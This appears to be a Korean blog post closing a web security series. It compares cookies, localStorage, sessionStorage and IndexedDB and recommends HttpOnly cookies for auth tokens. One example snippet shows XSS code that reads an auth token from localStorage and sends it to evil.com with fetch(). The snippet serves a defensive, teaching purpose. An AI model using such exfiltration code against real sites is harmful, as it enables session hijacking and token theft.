브라우저에 데이터를 저장하는 방법
브라우저는 기본적으로 무상태(stateless)입니다. HTTP 요청이 끝나면 서버와의 연결도 끝납니다. 그런데 우리는 로그인 상태가 유지되길 기대하고, 다크 모드 설정이 새로고침 후에도 남아있길 바랍니다. 이런 상태를 유지하려면 브라우저 어딘가에 데이터를 저장해야 합니다.
브라우저가 제공하는 저장소는 네 가지입니다. Cookie, localStorage, sessionStorage, IndexedDB. 각각 만들어진 시기와 목적이 다릅니다.
Cookie는 가장 오래된 저장소입니다. 1994년 Netscape에서 쇼핑 카트 문제를 계기로 범용 상태 관리 메커니즘으로 도입했습니다. 핵심 특징은 HTTP 요청에 자동으로 포함된다는 점입니다. 이것이 서버와 상태를 공유하는 유일한 클라이언트 저장소인 이유이고, 동시에 CSRF 공격의 원인이 되는 이유이기도 합니다.
Web Storage(localStorage, sessionStorage)는 HTML5에서 도입되었습니다. 쿠키의 용량 제한(~4KB)을 해소하고, 서버로 전송하지 않아도 되는 클라이언트 전용 데이터를 위해 설계되었습니다. 둘의 차이는 수명입니다. localStorage는 명시적으로 삭제할 때까지 유지되고, sessionStorage는 탭을 닫으면 사라집니다.
IndexedDB는 브라우저 안의 데이터베이스입니다. 트랜잭션을 지원하고, 구조화된 데이터를 수백 MB까지 저장할 수 있습니다. 오프라인 애플리케이션이나 대용량 캐시에 적합합니다.
왜 네 가지나 필요할까요? 각각 서로 다른 문제를 해결하기 때문입니다. 서버와 상태를 공유해야 하면 Cookie, 클라이언트에서 간단한 설정을 유지하려면 localStorage, 탭 단위 임시 데이터는 sessionStorage, 복잡한 구조의 대용량 데이터는 IndexedDB. 문제는 잘못된 저장소에 잘못된 데이터를 넣을 때 발생합니다.
스토리지 비교
네 가지 저장소의 특성을 한눈에 비교해 보세요. 탭을 전환하면 용량, 범위, 보안 특성을 확인할 수 있습니다. 특히 XSS 취약성과 CSRF 취약성 항목에 주목하세요. 저장소마다 공격 표면이 다릅니다.
Cookie만 HTTP 요청에 자동 포함됩니다. 이것이 Cookie가 CSRF에 취약한 이유입니다. 반면 Web Storage와 IndexedDB는 요청에 포함되지 않으므로 CSRF에는 안전하지만, JavaScript로 접근 가능하므로 XSS에는 모두 취약합니다. Cookie는 HttpOnly 플래그로 JavaScript 접근을 차단할 수 있지만, 나머지 저장소에는 그런 옵션이 없습니다.
Cookie 심화
Cookie는 Set-Cookie 응답 헤더로 설정합니다. 단순히 키-값 쌍만 저장하는 것이 아니라, 여러 속성으로 동작을 세밀하게 제어할 수 있습니다.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Domain=example.com; Path=/; Max-Age=86400각 속성의 역할을 살펴봅시다.
HttpOnly -- JavaScript에서 document.cookie로 접근할 수 없게 만듭니다. XSS 공격이 발생해도 공격자가 쿠키 값을 직접 읽을 수 없습니다. 인증 쿠키에는 반드시 설정해야 하는 속성입니다.
Secure -- HTTPS 연결에서만 쿠키를 전송합니다. HTTP로 접속하면 쿠키가 포함되지 않으므로, 네트워크 도청으로 쿠키가 노출되는 것을 방지합니다.
SameSite -- CSRF 글에서 자세히 다뤘습니다. Strict는 교차 사이트 요청에 쿠키를 완전히 차단하고, Lax(기본값)는 안전한 최상위 탐색에만 허용하며, None은 모든 교차 사이트 요청에 허용합니다.
Domain -- 쿠키가 전송될 도메인을 지정합니다. Domain=example.com으로 설정하면 sub.example.com에서도 쿠키에 접근할 수 있습니다. 생략하면 설정한 도메인에서만 접근 가능합니다. 서브도메인 간 공유가 필요하지 않다면 생략하는 것이 안전합니다.
Path -- 쿠키가 전송될 경로를 제한합니다. Path=/admin이면 /admin 하위 경로에서만 쿠키가 포함됩니다. 단, 이것은 보안 메커니즘이 아닙니다. 같은 출처의 JavaScript는 경로와 무관하게 쿠키에 접근할 수 있습니다.
Max-Age / Expires -- 쿠키의 수명을 지정합니다. Max-Age=86400은 24시간 후 만료입니다. 둘 다 없으면 세션 쿠키가 되어 브라우저를 닫으면 삭제됩니다.
실전에서 인증 쿠키를 설정하는 예시입니다.
// Express.js 예시
res.cookie("session", sessionId, {
httpOnly: true, // JavaScript 접근 차단
secure: true, // HTTPS 전용
sameSite: "lax", // CSRF 기본 방어
maxAge: 86400000, // 24시간 (밀리초)
path: "/",
});네 가지 속성(HttpOnly, Secure, SameSite, 적절한 Max-Age)은 인증 쿠키의 기본 세트입니다. 하나라도 빠지면 공격 표면이 넓어집니다.
Web Storage (localStorage / sessionStorage)
Web Storage는 쿠키보다 훨씬 단순한 API를 제공합니다. 동기(synchronous) API이므로 콜백이나 Promise 없이 즉시 값을 읽고 쓸 수 있습니다.
// localStorage, 브라우저를 닫아도 유지
localStorage.setItem("theme", "dark");
localStorage.getItem("theme"); // "dark"
localStorage.removeItem("theme");
// sessionStorage, 탭을 닫으면 삭제
sessionStorage.setItem("draft", JSON.stringify({ title: "임시 글" }));
const draft = JSON.parse(sessionStorage.getItem("draft"));몇 가지 제약을 알아야 합니다.
문자열만 저장할 수 있습니다. 객체를 저장하려면 JSON.stringify로 직렬화하고, 읽을 때 JSON.parse로 복원해야 합니다. 이 과정에서 Date 객체나 undefined, 함수 같은 값은 소실됩니다.
동기 API입니다. 메인 스레드에서 실행되므로, 대량의 데이터를 읽거나 쓰면 UI가 멈출 수 있습니다. 큰 데이터는 IndexedDB를 사용하세요.
용량은 출처 단위 ~5-10MB입니다. 브라우저마다 정확한 한도가 다릅니다. 한도를 초과하면 QuotaExceededError가 발생합니다.
보안 관점에서 가장 중요한 점은 XSS에 완전히 노출된다는 것입니다. JavaScript로 자유롭게 접근할 수 있고, HttpOnly 같은 보호 옵션이 없습니다. XSS가 발생하면 공격자는 저장된 모든 데이터를 읽고 수정하고 삭제할 수 있습니다.
// XSS 공격자가 실행할 수 있는 코드
const token = localStorage.getItem("authToken");
fetch("https://evil.com/steal?token=" + token);이런 이유로 인증 토큰, 개인정보, API 키 같은 민감한 데이터는 localStorage에 저장하면 안 됩니다. UI 테마, 언어 설정, 최근 검색어 같은 비민감 데이터만 저장하세요.
sessionStorage는 localStorage와 API가 동일하지만, 범위가 다릅니다. 같은 출처라도 탭이 다르면 서로의 sessionStorage에 접근할 수 없습니다. 페이지를 새로고침해도 유지되지만, 탭을 닫으면 삭제됩니다. 멀티 스텝 폼의 임시 데이터나 탭별 스크롤 위치 같은 용도에 적합합니다.
IndexedDB
IndexedDB는 브라우저의 저장소 중 가장 강력하지만, API도 가장 복잡합니다. 관계형 데이터베이스처럼 트랜잭션을 지원하고, 인덱스로 검색 성능을 최적화할 수 있습니다. 비동기 API이므로 메인 스레드를 차단하지 않습니다.
// IndexedDB 기본 사용법
const request = indexedDB.open("myApp", 1);
request.onupgradeneeded = (event) => {
const db = event.target.result;
// 객체 저장소(테이블에 해당) 생성
const store = db.createObjectStore("articles", { keyPath: "id" });
store.createIndex("by_date", "date");
};
request.onsuccess = (event) => {
const db = event.target.result;
// 쓰기 트랜잭션
const tx = db.transaction("articles", "readwrite");
tx.objectStore("articles").put({
id: 1,
title: "IndexedDB 가이드",
date: "2026-04-02",
content: "...",
});
// 읽기
const readTx = db.transaction("articles", "readonly");
const getReq = readTx.objectStore("articles").get(1);
getReq.onsuccess = () => {
console.log(getReq.result); // { id: 1, title: "...", ... }
};
};IndexedDB의 특징을 정리하면 이렇습니다.
- 대용량 저장: 수백 MB에서 GB 단위까지 가능합니다. 정확한 한도는 브라우저와 디스크 공간에 따라 다릅니다.
- 구조화된 데이터: 문자열뿐 아니라 객체, Blob, ArrayBuffer 등 다양한 타입을 직접 저장할 수 있습니다.
- 비동기 API: 모든 연산이 비동기이므로 UI를 차단하지 않습니다.
- 트랜잭션: 여러 연산을 하나의 트랜잭션으로 묶어서 원자성을 보장합니다.
- Service Worker 접근: Web Storage와 달리 Service Worker에서도 접근할 수 있습니다. 오프라인 기능 구현에 핵심적인 차이입니다.
보안 측면에서 IndexedDB는 출처(Origin) 단위로 격리됩니다. a.com의 IndexedDB에 b.com이 접근할 수 없습니다. 하지만 같은 출처의 JavaScript는 자유롭게 접근할 수 있으므로, XSS가 발생하면 저장된 모든 데이터가 노출됩니다. 이 점은 localStorage와 동일합니다.
실제로 IndexedDB를 직접 사용하면 콜백 기반 API가 번거롭습니다. idb 같은 래퍼 라이브러리를 사용하면 Promise 기반으로 더 간결하게 작성할 수 있습니다.
// idb 라이브러리 사용 예시
import { openDB } from "idb";
const db = await openDB("myApp", 1, {
upgrade(db) {
db.createObjectStore("articles", { keyPath: "id" });
},
});
await db.put("articles", { id: 1, title: "IndexedDB 가이드" });
const article = await db.get("articles", 1);무엇을 어디에 저장할 것인가
저장소 선택은 데이터의 성격에 따라 결정됩니다. 잘못 선택하면 성능 문제가 생기거나, 더 나쁘게는 보안 취약점이 됩니다.
인증 토큰 (세션 ID, JWT) -- HttpOnly 쿠키에 저장합니다. JavaScript에서 접근할 수 없으므로 XSS로 탈취가 불가능합니다. SameSite와 Secure를 함께 설정하면 CSRF와 도청도 방어합니다. JWT를 localStorage에 저장하는 패턴이 널리 사용되지만, XSS 발생 시 토큰이 즉시 탈취됩니다. 편의성과 보안 사이의 트레이드오프를 명확히 인식해야 합니다.
UI 설정 (테마, 언어, 사이드바 상태) -- localStorage에 저장합니다. 민감하지 않은 데이터이고, 브라우저를 닫아도 유지되어야 합니다. XSS로 노출되어도 피해가 제한적입니다.
임시 데이터 (폼 작성 중 입력값, 탭별 상태) -- sessionStorage에 저장합니다. 탭을 닫으면 자동으로 삭제되므로 불필요한 데이터가 남지 않습니다.
대용량 데이터 (오프라인 캐시, 이미지, 파일) -- IndexedDB에 저장합니다. 용량 제한이 넉넉하고, 비동기 API로 대량 데이터를 처리해도 UI가 멈추지 않습니다. Service Worker와 함께 사용하면 오프라인에서도 동작하는 앱을 만들 수 있습니다.
서버와 매 요청마다 공유해야 하는 데이터 -- Cookie에 저장합니다. 다만 자동 전송되므로 쿠키 크기를 최소한으로 유지하세요. 모든 요청에 불필요한 데이터가 포함되면 네트워크 비용이 증가합니다.
핵심 원칙은 하나입니다. 민감한 데이터는 JavaScript가 접근할 수 없는 곳에 저장하세요. 현재 브라우저에서 이 조건을 충족하는 유일한 방법은 HttpOnly 쿠키입니다.
시리즈 마무리
이 글로 웹 보안 시리즈를 마무리합니다. 시리즈 전체를 관통하는 흐름을 되짚어 보겠습니다.
1편 -- Same-Origin Policy에서 시작했습니다. 브라우저가 출처(Origin)를 기준으로 리소스 접근을 격리하는 기본 원칙을 살펴봤습니다. SOP는 웹 보안의 기반이지만, 모든 공격을 막지는 못합니다.
2편 -- XSS에서는 같은 출처 안에서 실행되는 공격을 다뤘습니다. 공격자가 신뢰할 수 있는 사이트에 코드를 주입하면, SOP는 이를 정상 코드로 취급합니다. 입력 검증과 출력 이스케이프가 핵심 방어였습니다.
3편 -- CSRF에서는 코드 주입 없이 사용자의 인증된 세션을 악용하는 공격을 다뤘습니다. 쿠키의 자동 전송이 근본 원인이었고, SameSite 쿠키와 CSRF 토큰이 방어책이었습니다.
4편 -- CSP와 보안 헤더에서는 XSS의 최후 방어선을 다뤘습니다. 코드가 주입되더라도 실행 자체를 차단하는 Content Security Policy, 그리고 HSTS, X-Content-Type-Options 같은 보안 헤더를 살펴봤습니다.
5편인 이 글에서는 브라우저 스토리지의 보안을 다뤘습니다. 어떤 데이터를 어디에 저장하느냐가 앞의 모든 공격에 대한 노출 정도를 결정합니다.
이 시리즈에서 반복적으로 드러나는 패턴이 있습니다. 다층 방어(Defense in Depth) 입니다. 단일 방어 메커니즘은 항상 우회될 수 있습니다. SOP가 있어도 XSS는 발생합니다. 입력 검증을 해도 실수가 생깁니다. 그래서 여러 계층의 방어를 겹칩니다. 입력을 검증하고, 출력을 이스케이프하고, CSP로 실행을 제한하고, 민감 데이터는 HttpOnly 쿠키에 넣고, SameSite로 CSRF를 차단합니다. 한 계층이 뚫려도 다음 계층이 피해를 줄입니다.
완벽한 보안은 없습니다. 하지만 각 계층이 어떤 공격을 막는지 이해하고, 빠짐없이 적용하면 공격자의 진입 비용을 충분히 높일 수 있습니다.